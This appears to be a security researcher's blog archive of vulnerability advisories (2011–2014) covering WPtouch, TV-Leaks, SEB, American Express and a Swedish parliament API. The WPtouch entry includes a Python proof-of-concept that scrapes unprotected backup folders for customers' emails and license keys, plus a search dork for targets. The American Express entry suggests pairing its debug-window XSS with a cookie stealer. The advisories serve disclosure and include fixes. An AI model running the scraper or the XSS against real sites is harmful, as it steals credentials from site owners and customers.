Archive for the ‘Advisories’ Category

0day: Extracting WPtouch Mobile Plugin License Keys

Wednesday, September 24th, 2014

With 6,030,141 downloads the WPtouch Mobile Plugin is currently the 24th most popular WordPress plugin. The plugin offers “pro” functionality for which the users need to pay money. WPtouch suffers from information disclosure vulnerabilities, and today I’m going to demonstrate how to steal license keys. The vulnerabilities seem to affect most versions up until the current 3.4.10, I have not been bothered to test them all.

Having a quick peak at the pro functionality we can discover this beauty:

         sprintf( __( 'Automatically backup settings to the %s folder', 'wptouch-pro' ),
         '<em>/wptouch-data/backups</em>' ),
         wptouchize_it( __( 'WPtouch Pro backups your settings each time they are saved.', 'wptouch-pro' ) ),

Sounds like a good idea, right? Automatically backing things up, only a fool would mind that!

Let’s have a look at the wptouch_backup_settings() function located in core/admin-backup-restore.php:

$backup_string = base64_encode( gzcompress( serialize( $settings_to_save ), 9 ) );

$backup_base_name = 'wptouch-backup-' . date( 'Ymd-His') . '.txt';
$backup_file_name = WPTOUCH_BACKUP_DIRECTORY . '/' . $backup_base_name;
$backup_file = fopen( $backup_file_name, 'w+t' );
if ( $backup_file ) {
        fwrite( $backup_file, $backup_string );
        fclose( $backup_file );

What this tells us is that we can reverse the backup storing procedure and reading the contents of backup files by:


Naturally, that is more or less precisely what wptouch_restore_settings() does. wptouch_backup_settings() pretty much uses the same call to wptouch_get_settings() as anything else whenever a WPtouch setting needs to be read. It calls the get_settings(), the general method for loading settings, and returns them as expected.

When WPtouch is being configured it calls wptouch_create_directory_if_not_exist() for each directory required by the plugin to function. This is because the plugin relies on directories outside the traditional wp-content/plugins/ directory.

Namely, for backups, WPtouch creates either the wp-content/uploads/wptouch-data/ OR wp-content/wptouch-data/ hierarchy. (There appears to be some sort of difference between versions or installations, something that I have chosen not to dig very deeply into.) By default WordPress is shipped with an index.php file for preventing directory listing in the wp-content directory.

Yeah, you guessed it: WPtouch doesn’t protect the directory listing of its wptouch-data/backups/ directory. This leaves its often automatically created backups, named as ‘wptouch-backup-‘ . date( ‘Ymd-His’) . ‘.txt’, completely accessible to anybody that knows where to look. Although, the wptouch-data and wp-content directories may of course be renamed and being able to determine their paths is a given for this to work (dork inurl:”wptouch-data”).

When get_settings() is called by the backup routine it includes the plugin’s “BNCID” settings which, in turn, contains the customer’s configured e-mail address, license key and WordPress admin nonce. So I guess you could say that an undocumented pro function of WPtouch is to publicly share the pro user’s credentials so that nobody else needs to acquire them on their own. :-)

Proof of Concept

Hacking it all up targeting the least popular site I could find with my very low patience:

#!/usr/bin/env python2
import mechanize
import lxml.html
import phpserialize
import zlib
import base64

haystack = "wp-content/uploads/wptouch-data/backups/"

b = mechanize.Browser()
b.addheaders = [("User-Agent", "MAsTER hAs AWardEd mE yOuR wpTouCh lICeNSe KeY :PppPPppp")]

url = WP_CONTENT_URL + haystack
print("[+] KnocKING: %s" % (url))
r = b.response()
d = lxml.html.parse(r).getroot()
needles = [link.attrib.get("href") for link in d.xpath("//a")]

if len(needles) <= 1:
    raise Exception("[-] NO FILez such fAIl ")

print("[+] wOw mUcH fiLE")

for needle in needles:
    if "wptouch-backup-" in needle:
        url = WP_CONTENT_URL + haystack + needle
        d =
        objs = phpserialize.loads(zlib.decompress(base64.b64decode(d)), object_hook=phpserialize.phpobject)
        dict = objs[b"bncid"]._asdict()
        cust_email = dict[b"bncid"].decode("utf-8")
        license_key = dict[b"wptouch_license_key"].decode("utf-8")
        print("[+] %s: %s %s" % (needle, cust_email, license_key))

By running it we get (slightly censored):

$ ./ 
[+] KnocKING:
[+] wOw mUcH fiLE
[+] wptouch-backup-20131013-022334.txt: [email protected] acb7f-CENSORED-b25b0-a71a8

Possible fixes

  • Deny www access to the WPtouch backup directory and contained files
  • Optionally encrypt the WPtouch backup files with unique keys (per installation or by passphrase)
  • Optionally exclude critical information (is it really necessary for the plugin to backup the license key?)

TV-Leaks Is Broken and Dangerous

Thursday, September 18th, 2014

In 2013 SVT, Sveriges Television, launched its whistleblowing platform inspired by Wikileaks. TV-Leaks intends to make it easier for Swedish whistleblowers to leak sensitive information to journalists. The problem is that TV-Leaks suffers from a long list of vulnerabilities.

Unencrypted attachments

The form allows visitors to upload files. Even worse: if the encrypted message is too long users are recommended to send it as an attachment instead:

// Check that the lenght of the above is not too long
if ($('#encryptedMessage').val().length > 131072)
    alert("Meddelande-texten är för lång, prova med att skicka med en bilaga istället.");
    return false;

TV-Leaks does not encrypt attachments:

$('#encryptedMessage').val(openpgp.write_encrypted_message(pub_key, message));

Submitting the form with all fields set to “test” and attaching the file “test.txt” containing the string “test” POSTs the following:

-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="title"\r\n\r\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="files[]"; filename="test.txt"\r\nContent-Type: text/plain\r\n\r\ntest\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="department"\r\n\r\nsvtnyheter\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="name"\r\n\r\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="phone"\r\n\r\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="email"\r\n\r\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="encryptedMessage"\r\n\r\n-----BEGIN PGP MESSAGE-----\r\nVersion: OpenPGP.js v.1.20130712\r\nComment:\r\n\r\nwcBMA9CgkCCRTSS6AQgAgBc3+aFzhuX9d5tqgKmdP7bbsj/HCZgu7Je1qMMs\r\nvefcPPE8gJfpT2zPB023dG11msmbp+3PUXV4qWPYJiwe0CqjshQR6JpdubB7\r\nmP6qrKPiTlOFxaR5E5PTlr0pfdBch6MblCCngQEUVDCcfTIBWnG/4khb+day\r\n8Dd3x0AD8+PmP7EAS2tdv52nwfXc4oMTMhrNRLTBEo0K4osrfr+83WJ62OcN\r\npBkXIpq6MIwPbmeh6HEm6jfrgWmqgYNdOqpkxCF1dwW0f8mC2KKUkhEhbNSd\r\nrFAycEZSEt9rxNNhYRnH/DstM+s8Pf/AgU/mtkNYwSGn8qapvyTPEa/1eiOw\r\nEtJ7ATXj3qFOUuDzoKPkD5KiVmowYX18pcYMkp73ZWe6HBVPPFc9Ir0QGLg2\r\nR9S6IeFBRRnUueYhFCko5gZz5aGrZCGfZOwRQ0bCpRbMvnSEjBZS6JCZYGD2\r\nd9NuSY0qYwQsdGGNb14VFA01gbHQw+1YZvvoAEKY/StL1V6M\r\n=OigO\r\n-----END PGP MESSAGE-----\r\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="notEncryptedMessage"\r\n\r\n\r\n-----------------------------17354154294744539562044116888\r\nContent-Disposition: form-data; name="submitButton"\r\n\r\n\r\n-----------------------------17354154294744539562044116888--\r\n

Notice that the attached file is sent in plaintext:

filename="test.txt"\r\nContent-Type: text/plain\r\n\r\ntest\n\r\n

Outdated and vulnerable OpenPGP.js

TV-Leaks uses OpenPGP.js.

this.versionstring="OpenPGP.js v.1.20130712";

This version is vulnerable to the findings in Cure53’s security audit of OpenPGP.js. Cleartext Messages Spoofing, EME-PKCS1-v1_5 padding uses Math.random(), Cleartext Message Spoofing in Armor Headers, EME-PKCS1-v1_5 Error Handling in RSA Decryption, Errors in EMSA-PKCS1-v1_5 decoding routineErrors in EMSA-PKCS1-v1_5 decoding routine and Side-channel leak in RSA decryption, just to mention the most serious issues.

The pubkey

Version: BCPG C# v1.6.1.0


The public key was generated using dodgy BouncyCastle Java crypto library v1.6.1.0. The public key should be replaced by a key generated by something properly functional and well-tested: GnuPG.

2048 bit keys should be considered as a replacement for the current 1024 bit. NIST has disallowed the use of 1024 bit keys after 31 December 2013 because they are insecure. 1024 bit RSA, which TV-Leaks uses, is broken.

Classical JavaScript verification issue

As usual, JavaScript crypto is a risk by nature since there’s no way for the client to verify that the file sent by the server is the expected file. Classic MITM risk with JavaScript crypto, not exclusive for TV-Leaks.

Is TV-Leaks safe to use?

Not at all.

SE Banken multiple vulnerabilities

Friday, February 10th, 2012

Skandinaviska Enskilda Banken AB (SEB) is a Swedish financial group for corporate customers, institutions and private individuals with headquarters in Stockholm, Sweden. Its activities comprise mainly banking services, but SEB also carries out significant life insurance operations and also owns Eurocard. The bank was founded by and is controlled by the powerful Swedish Wallenberg family through their investment company Investor AB.

Page frame contents are decided by unsafely handled url parameters leaving the cms software globally vulnerable to xss attacks. Vulnerable domains are,,,,,, and any other domain hosting the vulnerable cms. Customers may have illegitimate third party scripts executed on their computer or be subject to login credential theft and keylogging.

Proof of concept

2011-12-05: Vulnerabilities discovered
2012-01-12: Contacted SEB
2012-01-18: Received response (Computer Security Incident Response Team)
2012-01-19: SIRT notified
2012-02-09: Vulnerabilities patched
2012-02-10: Public disclosure

0day Full disclosure: American Express

Wednesday, October 5th, 2011

When somebody voluntarily contacts a company and repeatedly mentions words like “security vulnerability” and “hacker” one would think the company would act as quickly as possible. At least all of the companies that I’ve been in touch with regarding security issues have. This time the experience streak changed drastically. To my great surprise American Express doesn’t allow anybody to contact them. Instead, you’re sent through their ten-year-old copyright noticed website’s first line support jungle to be attacked with questions ensuring that you’re a paying customer. If you’re not then you might as well not bother, unless you feel like speaking technical advanced 0day vulnerabilities with incompetent support personnel either through Twitter direct messages or phone. They will leave you no option of contacting them in a manner that circumvents any theoretical possibility they may have of boosting sales numbers.

The only acceptable contact methods that I found on their site were telephone, fax or physical mail to some typoed country called Swerige. I figured none of them were suitable for 0day reports and decided to turn to Twitter and ask for an e-mail address or some other modern protocol.

AMEX Tweet conversation

With the pesky, but relevantly necessary, introduction out of the way: let’s focus on the concrete security disclosure. A little “oops” that one of the developers left behind unprotected breaches many parts of American Express’ security in one hit, one might say that this mistake is a multikill. On you’ll find the following admin panel:

The left column is a list of, what the American Express developers call “heroes”, for the current period. (Most people call them “news”.) The list is downloadable as a CSV file and the contents are completely harmless:

"10026","Inactive","In Development","NN105 - Brand - JD Power 5 Year Win Midas","/us/heroes/10026-Brand-JDPower5thYearMidas/hero.html"
"10025","Inactive","In Development","NN135 - Brand - Vente Privee","/us/heroes/10025-Brand-VentePrivee/hero.html"
"10022","Active","Prospect & Cardmember","NM280 - Travel - MIDAS Help Is On the Way","/us/heroes/10022-Travel-HelpIsOnTheWay/hero.html"
"10021","Active","Prospect & Cardmember","NM207 - Travel - Travel Pier Sept 2011","/us/heroes/10021-Travel-TravelPierSept2011/hero.html"
"10020","Active","Prospect & Cardmember","NL986 - Brand - JD Power 5 Year Win","/us/heroes/10020-Brand-JDPower5thYear/hero.html"
"10018","Active","Prospect & Cardmember","NL872 - OPEN - Business Rewards Gold","/us/heroes/10018-OPEN-BusinessRewardsGold/hero.html"
"10014","Active","Prospect & Cardmember","Brand - AMEX Facebook Sync","/us/heroes/10014-Brand-FacebookSync/hero.html"
"10012","Active","Prospect & Cardmember","Brand - AMEX Foursquare Sync","/us/heroes/10012-Brand-FoursquareSync/hero.html"
"10002","Active","Prospect & Cardmember","Mobile - AMEX Mobile Services","/us/heroes/10002-Mobile-MobileServices/hero.html"
"10024","Active","Cardmember","NN047 - Brand - Profile and Preferences","/us/heroes/10024-Brand-ProfileandPreferences/hero.html"
"10023","Active","Cardmember (PZN Only)","NM612 - OPEN - PZN Business Rewards Gold","/us/heroes/10023-OPEN-PznBusinessRewardsGold/hero.html"
"10017","Active","Cardmember (PZN Only)","NL766 - CCSG - MIDAS Platinum Benefits","/us/heroes/10017-CCSG-PlatinumBenefits/hero.html"
"10016","Active","Cardmember (PZN Only)","NL767 - OPEN - MIDAS Platinum Benefits","/us/heroes/10016-OPEN-PlatinumBenefits/hero.html"
"10019","Inactive","Expired","Brand - 911 Tribute Movement","/us/heroes/10019-Brand-911TributeMovement/hero.html"
"10015","Inactive","Expired","Entertainment - USOPEN Total Immersion","/us/heroes/10015-Entertainment-USOPENTotalImmersion/hero.html"
"10013","Inactive","Expired","Brand - AMEX Facebook Sync","/us/heroes/10013-Brand-FacebookSync/hero.html"
"10011","Inactive","Expired","OPEN - Big Break","/us/heroes/10011-Open-SmallBusiness/hero.html"
"10009","Inactive","Expired","Entertainment - US OPEN Pre-Sale","/us/heroes/10009-Entertainment-USOPENPreSale/hero.html"
"10008","Inactive","Expired","Travel - Get Your Feet Wet","/us/heroes/10008-Travel-GetYourFeetWet/hero.html"
"10007","Inactive","Expired","Membership Rewards - Social Currency","/us/heroes/10007-Rewards-SocialCurrency/hero.html"
"10006","Inactive","Expired","Mobile - Million Downloads","/us/heroes/10006-Mobile-MillionDownloads/hero.html"
"10005","Inactive","Expired","Brand - US Homepage Launch","/us/heroes/10005-Brand-USHomepageLaunch/hero.html"
"10003","Inactive","Expired","Brand - AMEX Members Project","/us/heroes/10003-Brand-MembersProject/hero.html"
"10004","Inactive","Expired","Membership Rewards - Social Currency","/us/heroes/10004-Rewards-SocialCurrency/hero.html"
"10001","Inactive","Expired","NPL - Zync Homepage Promo","/us/heroes/10001-NPL-Zync/hero.html"
"20001","Inactive","Expired","Brand - JD Power & Associates 2010 (Prospect)","/us/heroes/20001-Brand-JDPower2010/hero.html"
"30001","Inactive","Expired","Brand - JD Power & Associates 2010 (Cardmember)","/us/heroes/30001-Brand-JDPower2010/hero.html"
"99001","Inactive","Expired","Animation Prototype","/us/heroes/99001-FPO-PowerOfMembership/hero.html"

The right column of the admin panel consists of what the developers call “cardmember cookies” and options for setting them with various parameters. The cookies are then used for viewing the heroes with various user permissions for debugging. A JavaScript comment gives an idea of how such an important thing as the admin debugging could be left wide open:

/* don't ask me how exactly, but this gets the main
domain froma  hostname; */

Adobe DigitalPulse v3 was also left behind fully accessible by anyone:

I must say their debug window impressed me. It’s a fancy little jQuery using div that I’m very sure that the developers enjoy using:

Understandably developers get sloppy around security implementations in debug features. Ironically, this becomes a direct threat in a case where a company’s developers don’t protect their debugging tools from the public. The debugging tool is vulnerable to XSS and it quickly becomes an issue when the debugging tools are called through unprotected GET parameters. Proof of concept (read warning below):

The debug window refreshes itself so injected code that doesn’t break the loop will execute infinitely. An attacker could inject a cookie stealer combined with jQuery’s .hide() and harvest cookies which can, ironically enough, be exploited by using the admin panel provided by sloppy American Express developers.

Let’s hope American Express resolve these issues ASAP :-)

Security advisory:

Thursday, September 29th, 2011

Discovered by: Niklas Femerstrand (qnrq)

Overview is an API developed by the legislative assembly of Sweden.

A vulnerability exists in the generation of XML data where data values of the output are affected by parameters in the URL. Hexadecimal values are improperly validated leaving the software vulnerable to parameter and JavaScript injections and XML external entity attacks. A successful XXE attack grants an unauthorized attacker read permissions with privilege escalation possibilities and various services on the web server risk becoming compromised.

Proof of concept
Test parameter injection:

Disclosure timeline
2011-09-27 Notified web section director (Anna Olderius)
2011-09-28 Received response
2011-09-28 Issues resolved
2011-09-29 Public release